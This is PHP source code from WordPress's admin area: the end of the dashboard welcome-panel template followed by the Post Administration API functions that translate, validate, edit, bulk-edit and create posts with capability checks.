				<path fill-rule="evenodd" clip-rule="evenodd" d="M18 16h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H18a2 2 0 0 1-2-2V18a2 2 0 0 1 2-2zm12 1.5H18a.5.5 0 0 0-.5.5v3h13v-3a.5.5 0 0 0-.5-.5zm.5 5H22v8h8a.5.5 0 0 0 .5-.5v-7.5zm-10 0h-3V30a.5.5 0 0 0 .5.5h2.5v-8z" fill="#fff"/>
			</svg>
			<div class="welcome-panel-column-content">
			<?php if ( $is_block_theme ) : ?>
				<h3><?php _e( 'Customize your entire site with block themes' ); ?></h3>
				<p><?php _e( 'Design everything on your site &#8212; from the header down to the footer, all using blocks and patterns.' ); ?></p>
				<a href="<?php echo esc_url( admin_url( 'site-editor.php' ) ); ?>"><?php _e( 'Open site editor' ); ?></a>
			<?php else : ?>
				<h3><?php _e( 'Start Customizing' ); ?></h3>
				<p><?php _e( 'Configure your site&#8217;s logo, header, menus, and more in the Customizer.' ); ?></p>
				<?php if ( $can_customize ) : ?>
					<a class="load-customize hide-if-no-customize" href="<?php echo wp_customize_url(); ?>"><?php _e( 'Open the Customizer' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
			</div>
		</div>
		<div class="welcome-panel-column">
			<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
				<rect width="48" height="48" rx="4" fill="#1E1E1E"/>
				<path fill-rule="evenodd" clip-rule="evenodd" d="M31 24a7 7 0 0 1-7 7V17a7 7 0 0 1 7 7zm-7-8a8 8 0 1 1 0 16 8 8 0 0 1 0-16z" fill="#fff"/>
			</svg>
			<div class="welcome-panel-column-content">
			<?php if ( $is_block_theme ) : ?>
				<h3><?php _e( 'Switch up your site&#8217;s look & feel with Styles' ); ?></h3>
				<p><?php _e( 'Tweak your site, or give it a whole new look! Get creative &#8212; how about a new color palette or font?' ); ?></p>
				<a href="<?php echo esc_url( admin_url( '/site-editor.php?path=%2Fwp_global_styles' ) ); ?>"><?php _e( 'Edit styles' ); ?></a>
			<?php else : ?>
				<h3><?php _e( 'Discover a new way to build your site.' ); ?></h3>
				<p><?php _e( 'There is a new kind of WordPress theme, called a block theme, that lets you build the site you&#8217;ve always wanted &#8212; with blocks and styles.' ); ?></p>
				<a href="<?php echo esc_url( __( 'https://wordpress.org/documentation/article/block-themes/' ) ); ?>"><?php _e( 'Learn about block themes' ); ?></a>
			<?php endif; ?>
			</div>
		</div>
	</div>
	</div>
	<?php
}
<?php
/**
 * WordPress Post Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Renames `$_POST` data from form names to DB post columns.
 *
 * Manipulates `$_POST` directly.
 *
 * @since 2.6.0
 *
 * @param bool       $update    Whether the post already exists.
 * @param array|null $post_data Optional. The array of post data to process.
 *                              Defaults to the `$_POST` superglobal.
 * @return array|WP_Error Array of post data on success, WP_Error on failure.
 */
function _wp_translate_postdata( $update = false, $post_data = null ) {

	if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

	if ( $update ) {
		$post_data['ID'] = (int) $post_data['post_ID'];
	}

	$ptype = get_post_type_object( $post_data['post_type'] );

	if ( $update && ! current_user_can( 'edit_post', $post_data['ID'] ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
		} else {
			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
		}
	} elseif ( ! $update && ! current_user_can( $ptype->cap->create_posts ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
		} else {
			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
		}
	}

	if ( isset( $post_data['content'] ) ) {
		$post_data['post_content'] = $post_data['content'];
	}

	if ( isset( $post_data['excerpt'] ) ) {
		$post_data['post_excerpt'] = $post_data['excerpt'];
	}

	if ( isset( $post_data['parent_id'] ) ) {
		$post_data['post_parent'] = (int) $post_data['parent_id'];
	}

	if ( isset( $post_data['trackback_url'] ) ) {
		$post_data['to_ping'] = $post_data['trackback_url'];
	}

	$post_data['user_ID'] = get_current_user_id();

	if ( ! empty( $post_data['post_author_override'] ) ) {
		$post_data['post_author'] = (int) $post_data['post_author_override'];
	} else {
		if ( ! empty( $post_data['post_author'] ) ) {
			$post_data['post_author'] = (int) $post_data['post_author'];
		} else {
			$post_data['post_author'] = (int) $post_data['user_ID'];
		}
	}

	if ( isset( $post_data['user_ID'] ) && ( $post_data['post_author'] != $post_data['user_ID'] )
		&& ! current_user_can( $ptype->cap->edit_others_posts ) ) {

		if ( $update ) {
			if ( 'page' === $post_data['post_type'] ) {
				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
			} else {
				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
			}
		} else {
			if ( 'page' === $post_data['post_type'] ) {
				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
			} else {
				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
			}
		}
	}

	if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

		// No longer an auto-draft.
		if ( 'auto-draft' === $post_data['post_status'] ) {
			$post_data['post_status'] = 'draft';
		}

		if ( ! get_post_status_object( $post_data['post_status'] ) ) {
			unset( $post_data['post_status'] );
		}
	}

	// What to do based on which button they pressed.
	if ( isset( $post_data['saveasdraft'] ) && '' !== $post_data['saveasdraft'] ) {
		$post_data['post_status'] = 'draft';
	}
	if ( isset( $post_data['saveasprivate'] ) && '' !== $post_data['saveasprivate'] ) {
		$post_data['post_status'] = 'private';
	}
	if ( isset( $post_data['publish'] ) && ( '' !== $post_data['publish'] )
		&& ( ! isset( $post_data['post_status'] ) || 'private' !== $post_data['post_status'] )
	) {
		$post_data['post_status'] = 'publish';
	}
	if ( isset( $post_data['advanced'] ) && '' !== $post_data['advanced'] ) {
		$post_data['post_status'] = 'draft';
	}
	if ( isset( $post_data['pending'] ) && '' !== $post_data['pending'] ) {
		$post_data['post_status'] = 'pending';
	}

	if ( isset( $post_data['ID'] ) ) {
		$post_id = $post_data['ID'];
	} else {
		$post_id = false;
	}
	$previous_status = $post_id ? get_post_field( 'post_status', $post_id ) : false;

	if ( isset( $post_data['post_status'] ) && 'private' === $post_data['post_status'] && ! current_user_can( $ptype->cap->publish_posts ) ) {
		$post_data['post_status'] = $previous_status ? $previous_status : 'pending';
	}

	$published_statuses = array( 'publish', 'future' );

	/*
	 * Posts 'submitted for approval' are submitted to $_POST the same as if they were being published.
	 * Change status from 'publish' to 'pending' if user lacks permissions to publish or to resave published posts.
	 */
	if ( isset( $post_data['post_status'] )
		&& ( in_array( $post_data['post_status'], $published_statuses, true )
		&& ! current_user_can( $ptype->cap->publish_posts ) )
	) {
		if ( ! in_array( $previous_status, $published_statuses, true ) || ! current_user_can( 'edit_post', $post_id ) ) {
			$post_data['post_status'] = 'pending';
		}
	}

	if ( ! isset( $post_data['post_status'] ) ) {
		$post_data['post_status'] = 'auto-draft' === $previous_status ? 'draft' : $previous_status;
	}

	if ( isset( $post_data['post_password'] ) && ! current_user_can( $ptype->cap->publish_posts ) ) {
		unset( $post_data['post_password'] );
	}

	if ( ! isset( $post_data['comment_status'] ) ) {
		$post_data['comment_status'] = 'closed';
	}

	if ( ! isset( $post_data['ping_status'] ) ) {
		$post_data['ping_status'] = 'closed';
	}

	foreach ( array( 'aa', 'mm', 'jj', 'hh', 'mn' ) as $timeunit ) {
		if ( ! empty( $post_data[ 'hidden_' . $timeunit ] ) && $post_data[ 'hidden_' . $timeunit ] != $post_data[ $timeunit ] ) {
			$post_data['edit_date'] = '1';
			break;
		}
	}

	if ( ! empty( $post_data['edit_date'] ) ) {
		$aa = $post_data['aa'];
		$mm = $post_data['mm'];
		$jj = $post_data['jj'];
		$hh = $post_data['hh'];
		$mn = $post_data['mn'];
		$ss = $post_data['ss'];
		$aa = ( $aa <= 0 ) ? gmdate( 'Y' ) : $aa;
		$mm = ( $mm <= 0 ) ? gmdate( 'n' ) : $mm;
		$jj = ( $jj > 31 ) ? 31 : $jj;
		$jj = ( $jj <= 0 ) ? gmdate( 'j' ) : $jj;
		$hh = ( $hh > 23 ) ? $hh - 24 : $hh;
		$mn = ( $mn > 59 ) ? $mn - 60 : $mn;
		$ss = ( $ss > 59 ) ? $ss - 60 : $ss;

		$post_data['post_date'] = sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $aa, $mm, $jj, $hh, $mn, $ss );

		$valid_date = wp_checkdate( $mm, $jj, $aa, $post_data['post_date'] );
		if ( ! $valid_date ) {
			return new WP_Error( 'invalid_date', __( 'Invalid date.' ) );
		}

		/*
		 * Only assign a post date if the user has explicitly set a new value.
		 * See #59125 and #19907.
		 */
		$previous_date = $post_id ? get_post_field( 'post_date', $post_id ) : false;
		if ( $previous_date && $previous_date !== $post_data['post_date'] ) {
			$post_data['edit_date']     = true;
			$post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] );
		} else {
			$post_data['edit_date'] = false;
			unset( $post_data['post_date'] );
			unset( $post_data['post_date_gmt'] );
		}
	}

	if ( isset( $post_data['post_category'] ) ) {
		$category_object = get_taxonomy( 'category' );
		if ( ! current_user_can( $category_object->cap->assign_terms ) ) {
			unset( $post_data['post_category'] );
		}
	}

	return $post_data;
}

/**
 * Returns only allowed post data fields.
 *
 * @since 5.0.1
 *
 * @param array|WP_Error|null $post_data The array of post data to process, or an error object.
 *                                       Defaults to the `$_POST` superglobal.
 * @return array|WP_Error Array of post data on success, WP_Error on failure.
 */
function _wp_get_allowed_postdata( $post_data = null ) {
	if ( empty( $post_data ) ) {
		$post_data = $_POST;
	}

	// Pass through errors.
	if ( is_wp_error( $post_data ) ) {
		return $post_data;
	}

	return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) );
}

/**
 * Updates an existing post with values provided in `$_POST`.
 *
 * If post data is passed as an argument, it is treated as an array of data
 * keyed appropriately for turning into a post object.
 *
 * If post data is not passed, the `$_POST` global variable is used instead.
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array|null $post_data Optional. The array of post data to process.
 *                              Defaults to the `$_POST` superglobal.
 * @return int Post ID.
 */
function edit_post( $post_data = null ) {
	global $wpdb;

	if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

	// Clear out any data in internal vars.
	unset( $post_data['filter'] );

	$post_id = (int) $post_data['post_ID'];
	$post    = get_post( $post_id );

	$post_data['post_type']      = $post->post_type;
	$post_data['post_mime_type'] = $post->post_mime_type;

	if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

		if ( 'inherit' === $post_data['post_status'] ) {
			unset( $post_data['post_status'] );
		}
	}

	$ptype = get_post_type_object( $post_data['post_type'] );
	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
		} else {
			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
		}
	}

	if ( post_type_supports( $ptype->name, 'revisions' ) ) {
		$revisions = wp_get_post_revisions(
			$post_id,
			array(
				'order'          => 'ASC',
				'posts_per_page' => 1,
			)
		);
		$revision  = current( $revisions );

		// Check if the revisions have been upgraded.
		if ( $revisions && _wp_get_post_revision_version( $revision ) < 1 ) {
			_wp_upgrade_revisions_of_post( $post, wp_get_post_revisions( $post_id ) );
		}
	}

	if ( isset( $post_data['visibility'] ) ) {
		switch ( $post_data['visibility'] ) {
			case 'public':
				$post_data['post_password'] = '';
				break;
			case 'password':
				unset( $post_data['sticky'] );
				break;
			case 'private':
				$post_data['post_status']   = 'private';
				$post_data['post_password'] = '';
				unset( $post_data['sticky'] );
				break;
		}
	}

	$post_data = _wp_translate_postdata( true, $post_data );
	if ( is_wp_error( $post_data ) ) {
		wp_die( $post_data->get_error_message() );
	}
	$translated = _wp_get_allowed_postdata( $post_data );

	// Post formats.
	if ( isset( $post_data['post_format'] ) ) {
		set_post_format( $post_id, $post_data['post_format'] );
	}

	$format_meta_urls = array( 'url', 'link_url', 'quote_source_url' );
	foreach ( $format_meta_urls as $format_meta_url ) {
		$keyed = '_format_' . $format_meta_url;
		if ( isset( $post_data[ $keyed ] ) ) {
			update_post_meta( $post_id, $keyed, wp_slash( sanitize_url( wp_unslash( $post_data[ $keyed ] ) ) ) );
		}
	}

	$format_keys = array( 'quote', 'quote_source_name', 'image', 'gallery', 'audio_embed', 'video_embed' );

	foreach ( $format_keys as $key ) {
		$keyed = '_format_' . $key;
		if ( isset( $post_data[ $keyed ] ) ) {
			if ( current_user_can( 'unfiltered_html' ) ) {
				update_post_meta( $post_id, $keyed, $post_data[ $keyed ] );
			} else {
				update_post_meta( $post_id, $keyed, wp_filter_post_kses( $post_data[ $keyed ] ) );
			}
		}
	}

	if ( 'attachment' === $post_data['post_type'] && preg_match( '#^(audio|video)/#', $post_data['post_mime_type'] ) ) {
		$id3data = wp_get_attachment_metadata( $post_id );
		if ( ! is_array( $id3data ) ) {
			$id3data = array();
		}

		foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) {
			if ( isset( $post_data[ 'id3_' . $key ] ) ) {
				$id3data[ $key ] = sanitize_text_field( wp_unslash( $post_data[ 'id3_' . $key ] ) );
			}
		}
		wp_update_attachment_metadata( $post_id, $id3data );
	}

	// Meta stuff.
	if ( isset( $post_data['meta'] ) && $post_data['meta'] ) {
		foreach ( $post_data['meta'] as $key => $value ) {
			$meta = get_post_meta_by_id( $key );
			if ( ! $meta ) {
				continue;
			}

			if ( $meta->post_id != $post_id ) {
				continue;
			}

			if ( is_protected_meta( $meta->meta_key, 'post' )
				|| ! current_user_can( 'edit_post_meta', $post_id, $meta->meta_key )
			) {
				continue;
			}

			if ( is_protected_meta( $value['key'], 'post' )
				|| ! current_user_can( 'edit_post_meta', $post_id, $value['key'] )
			) {
				continue;
			}

			update_meta( $key, $value['key'], $value['value'] );
		}
	}

	if ( isset( $post_data['deletemeta'] ) && $post_data['deletemeta'] ) {
		foreach ( $post_data['deletemeta'] as $key => $value ) {
			$meta = get_post_meta_by_id( $key );
			if ( ! $meta ) {
				continue;
			}

			if ( $meta->post_id != $post_id ) {
				continue;
			}

			if ( is_protected_meta( $meta->meta_key, 'post' )
				|| ! current_user_can( 'delete_post_meta', $post_id, $meta->meta_key )
			) {
				continue;
			}

			delete_meta( $key );
		}
	}

	// Attachment stuff.
	if ( 'attachment' === $post_data['post_type'] ) {
		if ( isset( $post_data['_wp_attachment_image_alt'] ) ) {
			$image_alt = wp_unslash( $post_data['_wp_attachment_image_alt'] );

			if ( get_post_meta( $post_id, '_wp_attachment_image_alt', true ) !== $image_alt ) {
				$image_alt = wp_strip_all_tags( $image_alt, true );

				// update_post_meta() expects slashed.
				update_post_meta( $post_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
			}
		}

		$attachment_data = isset( $post_data['attachments'][ $post_id ] ) ? $post_data['attachments'][ $post_id ] : array();

		/** This filter is documented in wp-admin/includes/media.php */
		$translated = apply_filters( 'attachment_fields_to_save', $translated, $attachment_data );
	}

	// Convert taxonomy input to term IDs, to avoid ambiguity.
	if ( isset( $post_data['tax_input'] ) ) {
		foreach ( (array) $post_data['tax_input'] as $taxonomy => $terms ) {
			$tax_object = get_taxonomy( $taxonomy );

			if ( $tax_object && isset( $tax_object->meta_box_sanitize_cb ) ) {
				$translated['tax_input'][ $taxonomy ] = call_user_func_array( $tax_object->meta_box_sanitize_cb, array( $taxonomy, $terms ) );
			}
		}
	}

	add_meta( $post_id );

	update_post_meta( $post_id, '_edit_last', get_current_user_id() );

	$success = wp_update_post( $translated );

	// If the save failed, see if we can confidence check the main fields and try again.
	if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
		$fields = array( 'post_title', 'post_content', 'post_excerpt' );

		foreach ( $fields as $field ) {
			if ( isset( $translated[ $field ] ) ) {
				$translated[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $translated[ $field ] );
			}
		}

		wp_update_post( $translated );
	}

	// Now that we have an ID we can fix any attachment anchor hrefs.
	_fix_attachment_links( $post_id );

	wp_set_post_lock( $post_id );

	if ( current_user_can( $ptype->cap->edit_others_posts ) && current_user_can( $ptype->cap->publish_posts ) ) {
		if ( ! empty( $post_data['sticky'] ) ) {
			stick_post( $post_id );
		} else {
			unstick_post( $post_id );
		}
	}

	return $post_id;
}

/**
 * Processes the post data for the bulk editing of posts.
 *
 * Updates all bulk edited posts/pages, adding (but not removing) tags and
 * categories. Skips pages when they would be their own parent or child.
 *
 * @since 2.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array|null $post_data Optional. The array of post data to process.
 *                              Defaults to the `$_POST` superglobal.
 * @return array
 */
function bulk_edit_posts( $post_data = null ) {
	global $wpdb;

	if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

	if ( isset( $post_data['post_type'] ) ) {
		$ptype = get_post_type_object( $post_data['post_type'] );
	} else {
		$ptype = get_post_type_object( 'post' );
	}

	if ( ! current_user_can( $ptype->cap->edit_posts ) ) {
		if ( 'page' === $ptype->name ) {
			wp_die( __( 'Sorry, you are not allowed to edit pages.' ) );
		} else {
			wp_die( __( 'Sorry, you are not allowed to edit posts.' ) );
		}
	}

	if ( -1 == $post_data['_status'] ) {
		$post_data['post_status'] = null;
		unset( $post_data['post_status'] );
	} else {
		$post_data['post_status'] = $post_data['_status'];
	}
	unset( $post_data['_status'] );

	if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

		if ( 'inherit' === $post_data['post_status'] ) {
			unset( $post_data['post_status'] );
		}
	}

	$post_ids = array_map( 'intval', (array) $post_data['post'] );

	$reset = array(
		'post_author',
		'post_status',
		'post_password',
		'post_parent',
		'page_template',
		'comment_status',
		'ping_status',
		'keep_private',
		'tax_input',
		'post_category',
		'sticky',
		'post_format',
	);

	foreach ( $reset as $field ) {
		if ( isset( $post_data[ $field ] ) && ( '' === $post_data[ $field ] || -1 == $post_data[ $field ] ) ) {
			unset( $post_data[ $field ] );
		}
	}

	if ( isset( $post_data['post_category'] ) ) {
		if ( is_array( $post_data['post_category'] ) && ! empty( $post_data['post_category'] ) ) {
			$new_cats = array_map( 'absint', $post_data['post_category'] );
		} else {
			unset( $post_data['post_category'] );
		}
	}

	$tax_input = array();
	if ( isset( $post_data['tax_input'] ) ) {
		foreach ( $post_data['tax_input'] as $tax_name => $terms ) {
			if ( empty( $terms ) ) {
				continue;
			}

			if ( is_taxonomy_hierarchical( $tax_name ) ) {
				$tax_input[ $tax_name ] = array_map( 'absint', $terms );
			} else {
				$comma = _x( ',', 'tag delimiter' );
				if ( ',' !== $comma ) {
					$terms = str_replace( $comma, ',', $terms );
				}
				$tax_input[ $tax_name ] = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
			}
		}
	}

	if ( isset( $post_data['post_parent'] ) && (int) $post_data['post_parent'] ) {
		$parent   = (int) $post_data['post_parent'];
		$pages    = $wpdb->get_results( "SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'" );
		$children = array();

		for ( $i = 0; $i < 50 && $parent > 0; $i++ ) {
			$children[] = $parent;

			foreach ( $pages as $page ) {
				if ( (int) $page->ID === $parent ) {
					$parent = (int) $page->post_parent;
					break;
				}
			}
		}
	}

	$updated          = array();
	$skipped          = array();
	$locked           = array();
	$shared_post_data = $post_data;

	foreach ( $post_ids as $post_id ) {
		// Start with fresh post data with each iteration.
		$post_data = $shared_post_data;

		$post_type_object = get_post_type_object( get_post_type( $post_id ) );

		if ( ! isset( $post_type_object )
			|| ( isset( $children ) && in_array( $post_id, $children, true ) )
			|| ! current_user_can( 'edit_post', $post_id )
		) {
			$skipped[] = $post_id;
			continue;
		}

		if ( wp_check_post_lock( $post_id ) ) {
			$locked[] = $post_id;
			continue;
		}

		$post      = get_post( $post_id );
		$tax_names = get_object_taxonomies( $post );

		foreach ( $tax_names as $tax_name ) {
			$taxonomy_obj = get_taxonomy( $tax_name );

			if ( ! $taxonomy_obj->show_in_quick_edit ) {
				continue;
			}

			if ( isset( $tax_input[ $tax_name ] ) && current_user_can( $taxonomy_obj->cap->assign_terms ) ) {
				$new_terms = $tax_input[ $tax_name ];
			} else {
				$new_terms = array();
			}

			if ( $taxonomy_obj->hierarchical ) {
				$current_terms = (array) wp_get_object_terms( $post_id, $tax_name, array( 'fields' => 'ids' ) );
			} else {
				$current_terms = (array) wp_get_object_terms( $post_id, $tax_name, array( 'fields' => 'names' ) );
			}

			$post_data['tax_input'][ $tax_name ] = array_merge( $current_terms, $new_terms );
		}

		if ( isset( $new_cats ) && in_array( 'category', $tax_names, true ) ) {
			$cats = (array) wp_get_post_categories( $post_id );

			if (
				isset( $post_data['indeterminate_post_category'] )
				&& is_array( $post_data['indeterminate_post_category'] )
			) {
				$indeterminate_post_category = $post_data['indeterminate_post_category'];
			} else {
				$indeterminate_post_category = array();
			}

			$indeterminate_cats         = array_intersect( $cats, $indeterminate_post_category );
			$determinate_cats           = array_diff( $new_cats, $indeterminate_post_category );
			$post_data['post_category'] = array_unique( array_merge( $indeterminate_cats, $determinate_cats ) );

			unset( $post_data['tax_input']['category'] );
		}

		$post_data['post_ID']        = $post_id;
		$post_data['post_type']      = $post->post_type;
		$post_data['post_mime_type'] = $post->post_mime_type;

		foreach ( array( 'comment_status', 'ping_status', 'post_author' ) as $field ) {
			if ( ! isset( $post_data[ $field ] ) ) {
				$post_data[ $field ] = $post->$field;
			}
		}

		$post_data = _wp_translate_postdata( true, $post_data );
		if ( is_wp_error( $post_data ) ) {
			$skipped[] = $post_id;
			continue;
		}
		$post_data = _wp_get_allowed_postdata( $post_data );

		if ( isset( $shared_post_data['post_format'] ) ) {
			set_post_format( $post_id, $shared_post_data['post_format'] );
		}

		// Prevent wp_insert_post() from overwriting post format with the old data.
		unset( $post_data['tax_input']['post_format'] );

		// Reset post date of scheduled post to be published.
		if (
			in_array( $post->post_status, array( 'future', 'draft' ), true ) &&
			'publish' === $post_data['post_status']
		) {
			$post_data['post_date']     = current_time( 'mysql' );
			$post_data['post_date_gmt'] = '';
		}

		$post_id = wp_update_post( $post_data );
		update_post_meta( $post_id, '_edit_last', get_current_user_id() );
		$updated[] = $post_id;

		if ( isset( $post_data['sticky'] ) && current_user_can( $ptype->cap->edit_others_posts ) ) {
			if ( 'sticky' === $post_data['sticky'] ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}
	}

	/**
	 * Fires after processing the post data for bulk edit.
	 *
	 * @since 6.3.0
	 *
	 * @param int[] $updated          An array of updated post IDs.
	 * @param array $shared_post_data Associative array containing the post data.
	 */
	do_action( 'bulk_edit_posts', $updated, $shared_post_data );

	return array(
		'updated' => $updated,
		'skipped' => $skipped,
		'locked'  => $locked,
	);
}

/**
 * Returns default post information to use when populating the "Write Post" form.
 *
 * @since 2.0.0
 *
 * @param string $post_type    Optional. A post type string. Default 'post'.
 * @param bool   $create_in_db Optional. Whether to insert the post into database. Default false.
 * @return WP_Post Post object containing all the default post data as attributes
 */
function get_default_post_to_edit( $post_type = 'post', $create_in_db = false ) {
	$post_title = '';
	if ( ! empty( $_REQUEST['post_title'] ) ) {
		$post_title = esc_html( wp_unslash( $_REQUEST['post_title'] ) );
	}

	$post_content = '';
	if ( ! empty( $_REQUEST['content'] ) ) {
		$post_content = esc_html( wp_unslash( $_REQUEST['content'] ) );
	}

	$post_excerpt = '';
	if ( ! empty( $_REQUEST['excerpt'] ) ) {
		$post_excerpt = esc_html( wp_unslash( $_REQUEST['excerpt'] ) );
	}

	if ( $create_in_db ) {
		$post_id = wp_insert_post(
			array(
				'post_title'  => __( 'Auto Draft' ),
				'post_type'   => $post_type,
				'post_status' => 'auto-draft',
			),
			false,
			false
		);
		$post    = get_post( $post_id );
		if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) && get_option( 'default_post_format' ) ) {
			set_post_format( $post, get_option( 'default_post_format' ) );
		}
		wp_after_insert_post( $post, false, null );

		// Schedule auto-draft cleanup.
		if ( ! wp_next_scheduled( 'wp_scheduled_auto_draft_delete' ) ) {
			wp_schedule_event( time(), 'daily', 'wp_scheduled_auto_draft_delete' );
		}
	} else {
		$post                 = new stdClass();
		$post->ID             = 0;
		$post->post_author    = '';
		$post->post_date      = '';
		$post->post_date_gmt  = '';
		$post->post_password  = '';
		$post->post_name      = '';
		$post->post_type      = $post_type;
		$post->post_status    = 'draft';
		$post->to_ping        = '';
		$post->pinged         = '';
		$post->comment_status = get_default_comment_status( $post_type );
		$post->ping_status    = get_default_comment_status( $post_type, 'pingback' );
		$post->post_pingback  = get_option( 'default_pingback_flag' );
		$post->post_category  = get_option( 'default_category' );
		$post->page_template  = 'default';
		$post->post_parent    = 0;
		$post->menu_order     = 0;
		$post                 = new WP_Post( $post );
	}

	/**
	 * Filters the default post content initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_content Default post content.
	 * @param WP_Post $post         Post object.
	 */
	$post->post_content = (string) apply_filters( 'default_content', $post_content, $post );

	/**
	 * Filters the default post title initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_title Default post title.
	 * @param WP_Post $post       Post object.
	 */
	$post->post_title = (string) apply_filters( 'default_title', $post_title, $post );

	/**
	 * Filters the default post excerpt initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_excerpt Default post excerpt.
	 * @param WP_Post $post         Post object.
	 */
	$post->post_excerpt = (string) apply_filters( 'default_excerpt', $post_excerpt, $post );

	return $post;
}

/**
 * Determines if a post exists based on title, content, date and type.
 *
 * @since 2.0.0
 * @since 5.2.0 Added the `$type` parameter.
 * @since 5.8.0 Added the `$status` parameter.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $title   Post title.
 * @param string $content Optional. Post content.
 * @param string $date    Optional. Post date.
 * @param string $type    Optional. Post type.
 * @param string $status  Optional. Post status.
 * @return int Post ID if post exists, 0 otherwise.
 */
function post_exists( $title, $content = '', $date = '', $type = '', $status = '' ) {
	global $wpdb;

	$post_title   = wp_unslash( sanitize_post_field( 'post_title', $title, 0, 'db' ) );
	$post_content = wp_unslash( sanitize_post_field( 'post_content', $content, 0, 'db' ) );
	$post_date    = wp_unslash( sanitize_post_field( 'post_date', $date, 0, 'db' ) );
	$post_type    = wp_unslash( sanitize_post_field( 'post_type', $type, 0, 'db' ) );
	$post_status  = wp_unslash( sanitize_post_field( 'post_status', $status, 0, 'db' ) );

	$query = "SELECT ID FROM $wpdb->posts WHERE 1=1";
	$args  = array();

	if ( ! empty( $date ) ) {
		$query .= ' AND post_date = %s';
		$args[] = $post_date;
	}

	if ( ! empty( $title ) ) {
		$query .= ' AND post_title = %s';
		$args[] = $post_title;
	}

	if ( ! empty( $content ) ) {
		$query .= ' AND post_content = %s';
		$args[] = $post_content;
	}

	if ( ! empty( $type ) ) {
		$query .= ' AND post_type = %s';
		$args[] = $post_type;
	}

	if ( ! empty( $status ) ) {
		$query .= ' AND post_status = %s';
		$args[] = $post_status;
	}

	if ( ! empty( $args ) ) {
		return (int) $wpdb->get_var( $wpdb->prepare( $query, $args ) );
	}

	return 0;
}

/**
 * Creates a new post from the "Write Post" form using `$_POST` information.
 *
 * @since 2.1.0
 *
 * @global WP_User $current_user
 *
 * @return int|WP_Error Post ID on success, WP_Error on failure.
 */
function wp_write_post() {
	if ( isset( $_POST['post_type'] ) ) {
		$ptype = get_post_type_object( $_POST['post_type'] );
	} else {
		$ptype = get_post_type_object( 'post' );
	}

	if ( ! current_user_can( $ptype->cap->edit_posts ) ) {
		if ( 'page' === $ptype->name ) {
			return new WP_Error( 'edit_pages', __( 'Sorry, you are not allowed to create pages on this site.' ) );
		} else {
			return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to create posts or drafts on this site.' ) );
		}
	}

	$_POST['post_mime_type'] = '';

	// Clear out any data in internal vars.
	unset( $_POST['filter'] );

	// Edit, don't write, if we have a post ID.
	if ( isset( $_POST['post_ID'] ) ) {
		return edit_post();
	}

	if ( isset( $_POST['visibility'] ) ) {
		switch ( $_POST['visibility'] ) {
			case 'public':
				$_POST['post_password'] = '';
				break;
			case 'password':
				unset( $_POST['sticky'] );
				break;
			case 'private':
				$_POST['post_status']   = 'private';
				$_POST['post_password'] = '';
				unset( $_POST['sticky'] );
				break;
		}
	}

	$translated = _wp_translate_postdata( false );
	if ( is_wp_error( $translated ) ) {
		return $translated;
	}
	$translated = _wp_get_allowed_postdata( $translated );

	// Create the post.
	$post_id = wp_insert_post( $translated );
	if ( is_wp_error( $post_id ) ) {
		return $post_id;
	}

	if ( empty( $post_id ) ) {
		return 0;
	}

	add_meta( $post_id );

	add_post_meta( $post_id, '_edit_last', $GLOBALS['current_user']->ID );

	// Now that we have an ID we can fix any attachment anchor hrefs.
	_fix_attachment_links( $post_id );

	wp_set_post_lock( $post_id );

	return $post_id;
}

/**
 * Calls wp_write_post() and handles the errors.
 *
 * @since 2.0.0
 *
 * @return int|void Post ID on success, void on failure.
 */
function write_post() {
	$result = wp_write_post();
	if ( is_wp_error( $result ) ) {
		wp_die( $result->get_error_message() );
	} else {
		return $result;
	}
}

//
